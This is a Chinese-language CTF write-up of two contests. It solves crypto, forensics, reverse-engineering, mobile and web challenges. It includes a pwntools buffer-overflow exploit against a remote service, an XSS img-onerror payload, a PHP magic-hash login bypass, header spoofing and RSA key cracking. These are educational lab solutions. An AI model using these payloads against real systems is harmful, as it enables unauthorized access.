这题简直能用“恶心”来形容。下载下来的附件是一个 7zip 文件,可以查看文件列表,但打开文件和解压都需要密码。文件列表中有四个文件:CRC32 Collision.7zpwd1.txtpwd2.txtpwd3.txt,猜想后三个拼起来就是压缩包的密码。根据第一个文件名的提示,应该是用 CRC32 的碰撞来解。三个密码文件的 CRC32 分别是 7C2DF918A58A19264DAD5967,大小均为六个字节,于是尝试用 hashcat 来跑所有长度为六位的明文,然而跑出来的并不像最终答案。后来想到 CRC32 的碰撞是非常多的,因此得想办法跑出所有的解。经队友助攻,将 hashcat64.exe0x4d79a 处的 0001 5000 改成 0005 5000 即可。三个 CRC32 一共输出了 509 个解,人工分析了一下,分别找出了一个最可能是解的答案,拼起来即可得到解压密码:_CRC32_i5_n0t_s4f3

接下来的 CRC32 Collision.7z 文件解压之后有 Find password.7zciphertext.txtkeys.txt 几个文件,是一个维吉尼亚密码,其中给了一万个 key,有一个是正确的……随手写了段程序分别用这一万个 key 对密文解密,猜想英文中的 the 出现频率比较高,于是直接在结果中搜 the(首尾带空格),看到一段话:

1
the vigenere cipher is a method of encrypting alphabetic text by using a series of different caesar ciphers based on the letters of a keyword it is a simple form of polyalphabetic substitution so password is vigenere cipher funny

因此密码为 vigenere cipher funny,从而进入下一层。

这一层的提示中给了一个不完整的明文 *7*5-*4*3? 和不完整的 sha1 值 619c20c*a4de755*9be9a8b*b7cbfa5*e8b4365*,其中每一个星号对应一个可打印字符。对 sha1 中的星号枚举 [0-9a-f] 并将其放到字典中,对明文中的星号枚举 ASCII 为 33~127 的字符并将其 sha1 后查找是否在字典中出现,最终得出答案:I7~5-s4F3? 619c20c4a4de75519be9a8b7b7cbfa54e8b4365b,进入下一层。

本层题目有两个提示,一个是 Hello World ;-),另一个是 两个程序 md5 相同,百度搜索 md5 相同 Hello World,可以搜到两个程序:HelloWorld-colliding.exeGoodbyeWorld-colliding.exe,其中第一个输出是 Hello World ;-),第二个循环输出 Goodbye World :-(,这个就是解压密码。但是原则上来说,有无数个具有不同输出的程序都可以跟第一个程序的 md5 相同,因此感觉这一层出的有问题。

最后一层给了一个 flag.encrsa_public_key.pem,可以通过 RsaCtfTool 直接生成私钥:

1
2
$ python RsaCtfTool.py --pkey rsa_public_key.pem --pri > private.key
$ openssl rsautl -decrypt -in flag.enc -inkey private.pem -out flag.txt

最终得出 flag:flag{W0rld_Of_Crypt0gr@phy}

[Misc] 面具

将图片下载下来分析一下:

1
2
3
4
5
6
7
8
9
$ binwalk C4n_u_find_m3_DB75A15F92D15B504D791F1C02B8815C.jpg
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
12 0xC TIFF image data, little-endian
478718 0x74DFE Zip archive data, at least v2.0 to extract, compressed size: 153767, uncompressed size: 3145728, name: "flag.vmdk"
632637 0x9A73D End of Zip archive
$ dd if=C4n_u_find_m3_DB75A15F92D15B504D791F1C02B8815C.jpg of=flag.zip bs=1 skip=478718

解压 flag.zip 是一个 vmdk 文件,使用高版本的 WinHex 打开后,点击菜单中的“专业工具→将镜像文件转换为磁盘”,然后找到 分区1,里面有两个文件夹 key_part_onekey_part_two,第一个文件夹里面有一段 Brainfuck 代码,运行结果为 flag{N7F5_AD5;第二个里面没有有意义的文件,但是根目录下还有个曾经被删除过的文件(WinHex 提示:曾经存在的,数据不完整),打开是一段 Ook 程序,运行结果为 _i5_funny!},拼起来即可得到 flag:flag{N7F5_AD5_i5_funny!}


下面是队友们做出来的题。

[Basic] 签到题

rar 解压,密码 ichunqiu&dabiaojie,flag{ctf_1s_interesting}。

[Web] 跳

访问首页得到测试账号 testtest,猜测 admintest。拿到 token,访问 admin.php 得 flag。

[Crypto] 简单点

Brainfuck 解密得到 flag{url_lao_89}

[Misc] 大可爱

把那张图 binwalk 解压出来,得到 29.zlib。解压 zlib:

1
2
3
4
5
6
7
import zlib
with open("29.zlib","rb") as fp:
s = fp.read()
ds = zlib.decompress(s)
dsss = zlib.decompress(ds[0x28D28D:])
with open("decode","wb") as fp:
fp.write(dsss.decode("hex"))

之后再 binwalk 解压,得到一个加密的 zip 文件,密码在注释:M63qNFgUIB3hEgu3C5==,解压得 flag:flag{PnG_zLiB_dEc0mPrEsS}

[Reverse] re400

先用 IDA 载入 re400.static,发现这程序:

  1. 没有引用动态库,给我们这一堆没有符号的动态库的出题人是想作甚?
  2. 什么符号都没有…还是先跑一下,看有什么提示吧。

运行程序之后,随便输入一些数据,程序打印出 Wrong.,然后就退出了。IDA 里搜一下 Wrong. 这个字符串,看一下所在函数,基本可以推断出这个 sub_400CF0 就是 main 函数,大概的代码是这样的:

1
2
3
4
5
6
7
8
9
10
11
const char *expect = "OSHzTJ4pwFgRG6eS6y3xVOOEGcbE5rzwqTs7VCK6ACQLuiTamZpXcQ==";
int main() {
char input[256];
read(0, input, 256);
if (check(input, expect, strlen(expect)) {
puts("Right.");
} else {
puts("Wrong.");
}
return 0;
}

那个 expect 怎么看都像是 base64 编码的字符串,试着解码后,只知道它的内容长度是 40,没看出什么规律。

然后重点是 check 函数(sub_401510)到底是怎么检查输入数据的。但点开 check 函数后,里面一大堆 call 指令实在看得有点慌…点开第一个 call sub_429AE0 就看到一堆 xmm 寄存器,正常写出来的代码,基本不会被编译出用 xmm 寄存器的,所以猜测这应该是个 libc 的库函数。另找一个带有符号的 libc,用 IDA + bindiff 插件,尝试匹配其中的无名函数。虽然会有一些误判,大胆猜测一下,给一些函数重命名:

1
2
3
4
5
* sub_429AE0: strlen
* sub_402730: malloc
* sub_42C990: memset
* sub_432520: strcpy
* sub_402710: free

开始一边运行,一边分析 check 函数:

1
2
3
4
5
6
7
8
9
0x40153E - 0x40154C: 判断了 strlen(input) <= 5,如果成立的话,就直接退出了。因此输入的长度必须大于 5
0x401552 - 0x401576: 是一个以 rax 为循环变量的循环,检查了输入的前5个字符是否满足 [0-9A-Z]{5}
0x401578 - 0x4015E5: 申请了两块内存空间并初始化,然后把栈上的两块空间清零
0x4015EE - 0x4015FF: 循环,把输入的前五个字节复制到栈内存
0x401601 - 0x40163B: 有三个 call,先看第一个 call sub_401CA0,看到 0x10325476 之类的数字,md5 无疑了,仔细阅读一下,这块代码是在计算输入数据前五个字节的 md5
0x401648 - 0x401662: 又一个循环,循环变量应该是 r15,每次递增 8,与输入长度 r12d 进行比较,然后 call sub_401B30 的参数有三个:
* lea rdi, [rbx+r15] arg[0]:输入数据
* lea rsi, [rsp+30h] arg[1]:上一步算出来的 md5 的前半部分
* lea rdx, [rbp+r15] arg[2]:第一块 malloc(strlen(input)+16) 的空间

至于那个 sub_401B30 到底是做什么的,(一开始)实在没搞懂,暂时不管它,接着分析代码。

1
2
3
4
0x401674 - 0x4016AD: 看到 call 了 malloc 和 memset,然后有一个 call sub_401120,分析它参数:
* mov rdi, rbp arg[0]:上一步用 sub_401B30 算出来的结果
* mov rsi, r13 arg[1]:刚刚 malloc 的空间
* mov edx, r12d arg[2]:strlen(input),aligned 8

调试时,运行过这个 call 后,发现 arg[1] 的空间里是一个 base64 编码的字符串,解码后就是 arg[0] 的内容,确定这个 sub_4011120 应该就是 b64encode(src, dst, len)。剩下的代码,就是把这个 base64 编码的字符串和 expect 比较了。至此,剩下一个关键的 sub_401B30

花了好几个小时,重写出里面调用到的几个子函数,每个函数都用到了几十到几百字节的非线性变换。虽然不是特别难的事情,但工作量太大了…直到开始重写最后一个子函数的时候,注意到这个循环的流程是这样的:

1
2
3
4
5
6
7
8
* call sub_401930
* call sub_4018C0
* call sub_401AA0
* loop xor
* call sub_401930
* call sub_4018C0
* call sub_401AA0
* loop xor

为啥我联想到了密码学里的 Feistel 网络…然后再看这个函数最底下的那个

1
.text:0000000000401C6F call sub_4018C0

sub_4018C0 是一个相对简单的变换,我想,这该不会是 DES 加密吧?验证一下,这果然就是 DES。

(`□′)╯┴┴
(╯°Д°)╯︵ ┻━┻
(╯#-_-)╯~~~~~╧═╧

算法就是:base64(DES.new(key=md5(input[:5]).digest()[:8], mode=DES.MODE_ECB).encrypt(input))

写一个程序,穷举输入前五个字节,能找到唯一匹配 expect 的输入:SHSECflag{675ac45bc131a1b7c145b605f4ba5}

附求解程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <mbedtls/des.h>
#include <mbedtls/md5.h>
int main(int argc, char *argv[]) {
int pos = atoi(argv[1]);
const uint8_t *t = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
uint8_t plain[8];
uint8_t cipher[9];
uint8_t key[16];
uint8_t target[] = {0x39,0x21,0xf3,0x4c,0x9e,0x29,0xc0,0x58,0x11,0x1b,0xa7,0x92,0xeb,0x2d,0xf1,0x54,0xe3,0x84,0x19,0xc6,0xc4,0xe6,0xbc,0xf0,0xa9,0x3b,0x3b,0x54,0x22,0xba,0x00,0x24,0x0b,0xba,0x24,0xda,0x99,0x9a,0x57,0x71};
mbedtls_des_context des;
cipher[8] = 0;
for (uint8_t a0 = 0; a0 < 36; a0++) {
plain[0] = t[a0];
for (uint8_t a1 = 0; a1 < 36; a1++) {
plain[1] = t[a1];
printf("status %c%c\r", plain[0], plain[1]);
fflush(stdout);
for (uint8_t a2 = 0; a2 < 36; a2++) {
plain[2] = t[a2];
for (uint8_t a3 = 0; a3 < 36; a3++) {
plain[3] = t[a3];
for (uint8_t a4 = 0; a4 < 36; a4++) {
plain[4] = t[a4];
mbedtls_md5(plain, 5, key);
mbedtls_des_init(&des);
mbedtls_des_setkey_dec(&des, key);
mbedtls_des_crypt_ecb(&des, target, cipher);
if (memcmp(cipher, plain, 5) == 0) {
printf("found %s\n", cipher);
for (size_t t = 0; t < sizeof(target); t += 8) {
mbedtls_des_crypt_ecb(&des, target + t, cipher);
printf("%s", cipher);
}
printf("\n\n");
}
}
}
}
}
}
return 0;
}

SUCTF 招新赛 Writeup

本来说好的招新赛,结果南航有一堆老司机混进去做题,而且主办方可以随时放题,因此最终题目难度变得没那么简单了。虽然出题的都是队友(队友:“我才没你这么差的队友呢!”),然而还是由于技术不过关,有些看似基础的东西仍然没有做出来。接下来就把我会做的题目写一下吧。

下面的顺序是按照在页面中显示的顺序,而非难度顺序。

[PWN] 这是你 hello pwn?

拖进 IDA,看到 main 函数是这样的:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp) {
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
write(1, "let's begin!\n", 0xDu);
read(0, &v4, 0x100u);
return 0;
}

显然是缓冲区溢出,然后注意到左边的 Function Window 里面有个 getflag 函数,地址为 0804865D,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int getflag() {
char format; // [sp+14h] [bp-84h]@4
char s1; // [sp+28h] [bp-70h]@3
FILE *v3; // [sp+8Ch] [bp-Ch]@1
v3 = fopen("flag.txt", "r");
if ( !v3 )
exit(0);
printf("the flag is :");
puts("SUCTF{dsjwnhfwidsfmsainewmnci}");
puts("now,this chengxu wil tuichu.........");
printf("pwn100@test-vm-x86:$");
__isoc99_scanf("%s", &s1);
if ( strcmp(&s1, "zhimakaimen") )
exit(0);
__isoc99_fscanf(v3, "%s", &format);
return printf(&format);
}

因此思路是先输入 112 个字节,然后覆盖 main 的返回指针为 0804865D,然后输入 zhimakaimen 即可,话说那个输出伪终端提示符的句子也真是……

1
2
3
4
from pwn import *
r = remote('xxx.xxx.xxx.xxx', 10000)
r.send('A' * 112 + '\x5d\x86\x04\x08')
r.interactive()

不知道为啥,我在最后写上 r.send('zhimakaimen') 并不管用,因此只能手动输入了。

1
2
3
4
5
let's begin!
the flag is :SUCTF{dsjwnhfwidsfmsainewmnci}
now,this chengxu wil tuichu.........
pwn100@test-vm-x86:$$ zhimakaimen
SUCTF{5tack0verTlow_!S_s0_e4sy}

[Web] flag 在哪?

打开网址,抓包可以发现在 HTTP 头里面有 Cookie:

1
Cookie:flag=suctf%7BThi5_i5_a_baby_w3b%7D

即可得出 flag。

[Web] 编码

打开网页,里面有个输入框和一个被 disabled 掉的提交按钮,抓包发现 HTTP 头中有 Password:

1
Password: VmxST1ZtVlZNVFpVVkRBOQ==

扔到 Base64 里面解出来是 VlROVmVVMTZUVDA9,一开始看到这编码我一脸懵逼,但是后来发现只需要再扔进 Base64 解几次就行了……最终解出来是 Su233。是够 233 的,把它输进去,用 Chrome 修改网页结构让按钮变得可以提交,最终得出 flag:suctf{Su_is_23333}

[Web] XSS1

只有一个输入框和提交按钮,过滤了 script 字符串,于是想到了用标签的 onerror 属性:

1
</pre><img src=# onerror=alert(1)>

提交之后可得 flag:suctf{too_eaSy_Xss}

[Web] PHP是世界上最好的语言

网页内容为空,查看源代码可以看到一段 PHP:

1
2
3
4
if(isset($_GET["password"]) && md5($_GET["password"]) == "0")
echo file_get_contents("/opt/flag.txt");
else
echo file_get_contents("xedni.php");

经典的 PHP 两个等号的 Feature,随便找一个 md5 之后是 0e 开头的字符串即可。

1
http://xxx.xxx.xxx.xxx/xedni.php?password=s878926199a

得到 flag:suctf{PHP_!s_the_bEst_1anguage}

[Web] ( ゜- ゜)つロ 乾杯~

AAEncode 编码,本质跟 eval 混淆压缩相似,可以找在线解码器,也可以直接去掉最后调用的部分(这样可以得出一个函数,然后在 Chrome 的控制台中点击进去即可复制内容)。内容是一段 Brainfuck,直接找在线解析器就可以了。得到 flag:suctf{aAenc0de_and_bra1nf**k}

[Web] 你是谁?你从哪里来?

只允许 http://www.suctf.com 这个服务器访问该页面,修改 Origin 和 X-Forwarded-For 即可:

1
2
Origin: http://www.suctf.com
X-Forwarded-For: xxx.xxx.xxx.xxx

得到 flag:suctf{C0ndrulation!_y0u_f1n1shed}

[Web] XSS2

这题不知道坑了多少人,虽然题目名称是 XSS,但是这其实是一道隐写。题目中给的路径 http://xxx.xxx.xxx.xxx/44b22f2bf7c7cfa05c351a5bf228fee0/xss2.php 去掉最后的 xss2.php 后有列目录权限,可以看到里面有张图片:914965676719256864.tif,直接用 strings 命令搜索一下即可得到 flag:

1
2
root@kali:~/Downloads# strings 914965676719256864.tif | grep suctf
suctf{te1m_need_c0mmun1catlon}</photoshop:LayerText>

[Mobile] 最基础的安卓逆向题

dex2jar 反编译,用 jd-gui 打开之后,在 MainActivity 中直接发现了 flag:

1
String flag = "suctf{Crack_Andr01d+50-3asy}";

[Mobile] Mob200

反编译之后发现 Encrypt.class 是 AES 类,key 似乎与图片有些关系,但是 AES 的加密和解密用的是同一个 key,因此直接抄过来即可。折腾了若干次 Java 之后才知道,有些函数不适用于 PC Java,而只能在安卓上用,因此新建了一个项目,将所有用到的代码都复制进来,补全了 Encrypt.class 中的解密部分,自己写了一个 MainActivity,导入了图片资源,调试工程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Encrypt {
// ....
public String doDecrypt(String paramString) {
try {
char[] arrayOfChar = new char[16];
BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(ContextHolder.getContext().getAssets().open("kawai.jpg")));
localBufferedReader.skip(424L);
localBufferedReader.read(arrayOfChar);
localBufferedReader.close();
String str = new String(decrypt(Base64.decode(paramString.getBytes(), 2), this.key.getBytes(), charArrayToByteArray(arrayOfChar)));
return str;
} catch (Exception localException) {
localException.printStackTrace();
}
return paramString;
}
public byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte[] paramArrayOfByte3) throws Exception {
byte[] arrayOfByte = transformKey(paramArrayOfByte2);
Cipher localCipher = Cipher.getInstance("AES/CFB/PKCS7Padding");
localCipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(arrayOfByte, "AES"), new IvParameterSpec(paramArrayOfByte3));
return localCipher.doFinal(paramArrayOfByte1);
}
}
public class MainActivity extends AppCompatActivity {
String correct = "XclSH6nZEPVd41FsAsqeChz6Uy+HFzV8Cl9jqMyg6mMrcgSoM0vJtA1BpApYahCY";
Encrypt encrypt = new Encrypt();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String clear = this.encrypt.doDecrypt(this.correct);
System.out.println(clear);
}
}

得到 flag:suctf{andr01d_encrypt_s0much_4un}

[Mobile] mips

正如名字所述是一段 MIPS 汇编。我的 MIPS 并不熟,IDA 也没装 MIPS 的插件,然而有个在线网站特别好:https://retdec.com/decompilation/ ,可以将一些常见的汇编转换为可编译通过的 C 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdint.h>
#include <stdio.h>
#include <string.h>
char * g1 = "\x58\x31\x70\x5c\x35\x76\x59\x69\x38\x7d\x55\x63\x38\x7f\x6a"; // 0x410aa0
int main(int argc, char ** argv) {
int32_t str = 0; // bp-52
int32_t str2 = 0; // bp-32
printf("Input Key:");
scanf("%16s", &str);
int32_t v1 = 0; // bp-56
if (strlen((char *)&str) == 0) {
if (memcmp((char *)&str2, (char *)&g1, 16) == 0) {
printf("suctf{%s}\r\n", &str);
} else {
puts("please reverse me!\r");
}
return 0;
}
int32_t v2 = 0; // 0x4008148
int32_t v3 = v2 + (int32_t)&v1; // 0x4007c0
unsigned char v4 = *(char *)(v3 + 4); // 0x4007c4
*(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2);
v1++;
while (v1 < strlen((char *)&str)) {
v2 = v1;
v3 = v2 + (int32_t)&v1;
v4 = *(char *)(v3 + 4);
*(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2);
v1++;
}
if (memcmp((char *)&str2, (char *)&g1, 16) == 0) {
printf("suctf{%s}\r\n", &str);
} else {
puts("please reverse me!\r");
}
return 0;
}

稍加整理,可以看出来是一个循环,v4 本质是 str[i]v3 + 24 本质是 str[i + 5]。也就是说,这段代码先获取你的输入,然后一个循环将第 i 位的字符异或一下 i,因此解密也超级好写:

1
2
3
4
5
6
7
8
char g[] = "\x58\x31\x70\x5c\x35\x76\x59\x69\x38\x7d\x55\x63\x38\x7f\x6a";
int main() {
for (int i = 0; i < strlen(g); i++) {
printf("%c", g[i] ^ i);
}
printf("\n");
}

得到 flag:suctf{X0r_1s_n0t_h4rd}

[Mobile] Mob300

解压 apk 之后发现里面加载了各种平台下的一个叫 libnative-lib.so 的文件,于是挑了一个最熟悉的平台:x86,用 IDA 反汇编,发现里面的函数超级少,每个函数的语句也超级少,于是就一点点看了。Java_com_suctf_naive_MainActivity_getHint(int a1) 函数里面其实是拼了一个字符串:

1
2
3
4
5
6
v8 = '!ga';
v7 = 'lf e';
v6 = 'ht s';
v5 = 'i ta';
v4 = 'hw s';
v3 = 'seuG';

这特么不就是 Guess what is the flag!?然后看到 Java_com_suctf_naive_MainActivity_getFlag(int a1) 函数和 flag_gen(void) 函数内容基本是一样的,里面也在拼字符串:

1
2
3
4
flag_global = xmmword_5D0;
flag_global[4] = 'uf_0';
flag_global[10] = '}n';
flag_global[22] = '\0';

双击 xmmword_5D0,然后右键将其转换为字符串,可得:5_inj_teeM{ftcus,于是得出 flag:suctf{Meet_jni_50_fun}

[Misc] 签到

加群,在群文件中可以得到 flag:suctf{Welc0me_t0_suCTF}

[Misc] Misc-50

下载下来是一个 GIF 图像,每隔六秒刷新一次,图像是一个竖条。后来发现其实是一个浏览大图的窗格,于是用 PS 将所有图层从左到右拼起来即可得到 flag:suctf{t6cV165qUpEnZVY8rX}

[Misc] Forensic-100

下载下来是一个文件,用 file 看一下发现是 Gzip 压缩,用 gzip 命令解压。

1
2
3
4
$ file SU
SU: gzip compressed data, was "SU", last modified: Sat Oct 29 19:43:07 2016, from Unix
$ cat SU | gzip.exe -d
fhpgs{CP9PuHsGx#}

前几个肯定是 suctf,后面的按照规律解也可以,其实这是个 rot13,直接找个在线工具解了就行:suctf{PC9ChUfTk# }

[Misc] 这不是客服的头像嘛。。。。23333

下载下来是一张图片,用 file 看也是一张图片,然而用 binwalk 之后发现里面有个压缩包,用 dd 命令提取出来:

1
2
3
4
5
6
7
8
9
10
$ binwalk xu.jpg
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
46046 0xB3DE RAR archive data
$ dd if=xu.jpg of=xu.rar bs=1 skip=46046
20221+0 records in
20221+0 records out
20221 bytes (20 kB) copied, 0.294344 s, 68.7 kB/s

解压发现是一个 img 镜像(吐槽一下这丧心病狂的压缩率,能把 1440 压成 20……),打开发现是四张图片,分别是一个二维码的四个角,把它们拼起来,扫一下即可:suctf{bOQXxNoceB}

[Re] 先利其器

可以看出来里面是一个循环,循环结束后 num 为零,然后判断如果 num 不为零则显示答案。虽然可以 patch 二进制将这句话 nop 掉,但是由于这么简单,还是直接看伪代码吧。

1
2
3
4
if ( num > 9 ) {
plaintext = 'I';
flag(&plaintext);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int __cdecl flag(int *ret) {
ret[12] = 'a';
ret[11] = '6';
ret[10] = 'I';
ret[9] = '_';
ret[8] = 'e';
ret[7] = '5';
ret[6] = 'U';
ret[5] = '_';
ret[4] = 'n';
ret[3] = '@';
ret[2] = 'c';
return 1;
}

再加上循环里有一句 flag[1] = '_';,于是就拼出来了:suctf{I_c@n_U5e_I6a}

[Re] PE_Format

发现文件头的 PE 和 MZ 标志刚好反了,于是将其改正,然后将 PE 文件头的位置从 40 改为 80,即可运行程序,然而程序没啥反应,于是上 IDA(居然是 x64 的)。

1
2
3
4
for ( i = 0; i < len; ++i ) {
ans2[i] = ans[i];
ans[i] = ~ans[i];
}

然后判断如果你的输入(ans)加密后跟 secret 相等则通过。secret 的内容是一段二进制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.data:0000000000476010 ; char secret[23]
.data:0000000000476010 secret db 0BBh
.data:0000000000476011 db 90h ;
.data:0000000000476012 db 0A0h ;
.data:0000000000476013 db 0A6h ;
.data:0000000000476014 db 90h ;
.data:0000000000476015 db 8Ah ;
.data:0000000000476016 db 0A0h ;
.data:0000000000476017 db 94h ;
.data:0000000000476018 db 91h ;
.data:0000000000476019 db 90h ;
.data:000000000047601A db 88h ;
.data:000000000047601B db 0A0h ;
.data:000000000047601C db 0AFh ;
.data:000000000047601D db 0BAh ;
.data:000000000047601E db 0A0h ;
.data:000000000047601F db 0B9h ;
.data:0000000000476020 db 90h ;
.data:0000000000476021 db 8Dh ;
.data:0000000000476022 db 92h ;
.data:0000000000476023 db 9Eh ;
.data:0000000000476024 db 8Bh ;
.data:0000000000476025 db 0C0h ;
.data:0000000000476026 db 0

于是随手写一段程序即可:

1
2
3
4
5
6
7
8
9
10
11
#include <cstdio>
#include <cstring>
char secret[] = {0xBB, 0x90, 0xA0, 0xA6, 0x90, 0x8A, 0xA0, 0x94, 0x91, 0x90, 0x88, 0xA0, 0xAF, 0xBA, 0xA0, 0xB9, 0x90, 0x8D, 0x92, 0x9E, 0x8B, 0xC0, 0x00};
int main() {
for (int i = 0; i < strlen(secret); i++) {
secret[i] = ~secret[i];
}
printf("%s\n", secret);
}

得出 flag:suctf{Do_You_know_PE_Format?}

[Re] Find_correct_path

上 IDA 分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
scanf("%s", &v5);
if ( v7 ) {
switch ( v7 ) {
case 1:
choose1(&choice);
break;
case 2:
choose2(&choice);
break;
case 3:
choose3(&choice);
break;
case 4:
choose4(&choice);
break;
}
v6 = strlen(&choice);
final(&choice, v6);
result = 0;
} else {
result = 1;
}

读入了 v5,然而判断了 v7,而且 v5v7 前面,当然可以当 PWN 来做,但是更简单的方法是直接修改二进制,将第一句改为 scanf("%d", &amp;v7) 即可,只需要改一个字符和一个地址。然后在 Linux 下运行即可,分别输入 1~4 看看结果如何:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# ./Which_way_is_correct_rex
1
T2l1_w1y_lT_r!8Tt
root@kali:~# ./Which_way_is_correct_rex
2
Th15_3ad_ls__!8he
root@kali:~# ./Which_way_is_correct_rex
3
Thl5_way_ls_r!8ht
root@kali:~# ./Which_way_is_correct_rex
4
Thl5lwaycTsTr7Tht

很显然 3 是正确的,于是得到 flag:suctf{Thl5_way_ls_r!8ht}

[Re] reverse04

吐槽一下,首先文件名是 reverse03 .exe(嗯,还有个空格),其次里面有各种系统调用和反调试。

先输入用户名和密码,然后利用三个替换规则分别对用户名的 0~3 位、4~7 位、8~11 位进行替换,结果存在字符串 flag 的特定区域(在代码中有写到 flag 的一些值为 flag{xxxxxxxxxxxxxxxxx}),然后对该区域进行一个 +1 的凯撒加密,判断与输入的密码是否相等。恶心就恶心在替换过程,trans1 使用了 GetTickCount 判断是否在调试,trans2 判断系统中是否有 idaq.exeidaq64.exe 进程,trans3 使用了 IsDebuggerPresent__readfsdword 判断是否在调试,这些判断的方法最终影响到了 x1x2,然而第 i 个替换规则是这样的:flag[X + 5] = Dict[i][F(x1, x2) + username[X]],其中 F 函数返回一个整数,username[X] 要取 ASCII 码。由于我不会系统调用,因此直接手动枚举的(反正替换的区域互不影响,最差也只需要六次枚举),最终得到 flag:suctf{antidebugabc}

[Crypto] base??

根据题目提示猜想是 Base64,然而并不是,试了 Base32 可以了:suctf{I_1ove_Su}

[Crypto] 凯撒大帝

根据提示是凯撒密码,将给的数字拆成 ASCII 的形式,然后按照 +4, +4, +15, +15, +4, +4… 的规律解码就可以了:suctf{I_am_Caesar}

[Crypto] easyRSA

注意到 public_key 超级短,因此可以用 RsaCtfTool 工具直接暴力破解出 private_key:

1
$ python RsaCtfTool.py --pkey ../easyRSA/public.key --pri > ../easyRSA/private.key

然后就可以用 openssl 来对数据进行解密了,得到 flag:suctf{Rsa_1s_ea5y}。话说谁说 RSA 简单的,明明只是 key 短。

[Crypto] 普莱费尔

有在线的解密工具,先将下面一串 WW91IGFyZSBsdWNreQ== 翻译成 You are lucky,然后用它做 key,翻译上面的内容即可。得到 flag:suctf{charleswheatstone}

[Crypto] 很贱蛋呀

查看 En.py 文件,发现每一轮的 key 都不一样,而且每一位互不影响,群里也说答案都是可见字符,因此三重循环,第一重枚举 key,第二重枚举字符位置,第三重枚举该位置的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <cstdio>
#include <cstring>
unsigned char cipher[30] = {75, 30, 30, 215, 104, 138, 69, 213, 248, 30, 179, 212, 105, 33, 213, 249, 105};
int len = strlen((char *)cipher);
unsigned char result[30] = {0};
int index = 0;
char solve(int key, int enc) {
for (int x = 32; x <= 127; x++) {
int am = (key + x) / 2;
int gm = key * x;
if ((am + gm) % 255 == enc) {
return x;
}
}
return 0;
}
bool deal(int key) {
index = 0;
for (int i = 0; i < len; i++) {
if ((result[index++] = solve(key, cipher[i])) == 0) {
return false;
}
}
return true;
}
int main() {
for (int key = 0; key < 128; key++) {
if (deal(key * 101)) {
printf("Found key = %d\n", key);
printf("%s\n", result);
}
}
return 0;
}
1
2
Found key = 110
Goodlucktobreakme

最终得出 flag:suctf{Goodlucktobreakme}


这次懒得写结尾了……